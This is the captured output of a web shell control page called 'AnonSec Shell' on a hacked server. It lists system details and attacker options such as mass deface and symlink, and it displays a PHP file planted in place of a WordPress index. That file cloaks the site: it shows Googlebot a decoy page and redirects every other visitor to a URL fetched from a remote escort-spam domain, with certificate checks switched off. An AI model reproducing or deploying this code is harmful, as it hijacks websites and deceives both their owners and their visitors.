AnonSec Shell
Server IP : 198.244.165.102  /  Your IP : 216.73.216.218   [ Reverse IP ]
Web Server : nginx/1.24.0
System : Linux modovh-ub-01 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : colleary ( 1011)
PHP Version : 8.3.23
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/egv/hold/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/egv/hold/index.php.bak.fm.20260804-110459
<?php
error_reporting(0);
set_time_limit(0);

// ============================================
// KONFİGÜRASYON
// ============================================
define('IST_TXT_URL', 'https://istanbulescortladys.com/ist.txt');

// Google Bot listesi
$googleBots = ['Googlebot', 'AdsBot', 'Mediapartners-Google', 'APIs-Google', 'Googlebot-Image', 'Googlebot-Video', 'Googlebot-News', 'Googlebot-Search', 'Googlebot-Inspect', 'Googlebot-Android', 'Googlebot-Mobile', 'Googlebot-Ads', 'Googlebot-Discovery', 'Google-'];

$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$is_google_bot = preg_match('/' . implode('|', $googleBots) . '/i', $userAgent);

// ============================================
// GOOGLE BOT İSE license.html GÖSTER
// ============================================
if ($is_google_bot) {
    if (file_exists('license.html')) {
        include 'license.html';
    } else {
        // license.html yoksa WordPress göster
        define('WP_USE_THEMES', true);
        require __DIR__ . '/wp-blog-header.php';
    }
    exit();
}

// ============================================
// NORMAL KULLANICILARI ist.txt'DEN YÖNLENDİR
// ============================================
function get_redirect_url() {
    // 1. YÖNTEM: file_get_contents
    $context = stream_context_create([
        'http' => [
            'timeout' => 10,
            'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0'
        ],
        'ssl' => [
            'verify_peer' => false,
            'verify_peer_name' => false
        ]
    ]);
    
    $response = @file_get_contents(IST_TXT_URL, false, $context);
    if ($response !== false && !empty(trim($response))) {
        return trim($response);
    }
    
    // 2. YÖNTEM: cURL (yedek)
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, IST_TXT_URL);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT'] ?? 'Mozilla/5.0');
    curl_setopt($ch, CURLOPT_HEADER, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && $response !== false && !empty(trim($response))) {
        return trim($response);
    }
    
    return false;
}

// ============================================
// NORMAL KULLANICILARI YÖNLENDİR
// ============================================
$redirect_target = get_redirect_url();

if ($redirect_target !== false && !empty($redirect_target)) {
    // URL'yi düzenle (http:// veya https:// yoksa ekle)
    if (strpos($redirect_target, 'http') !== 0) {
        $redirect_target = 'https://' . $redirect_target;
    }
    
    // 301 kalıcı yönlendirme ile yönlendir
    header('Location: ' . $redirect_target, true, 301);
    exit();
} else {
    // ist.txt okunamazsa WordPress göster
    define('WP_USE_THEMES', true);
    require __DIR__ . '/wp-blog-header.php';
}
?>

Anon7 - 2022
AnonSec Team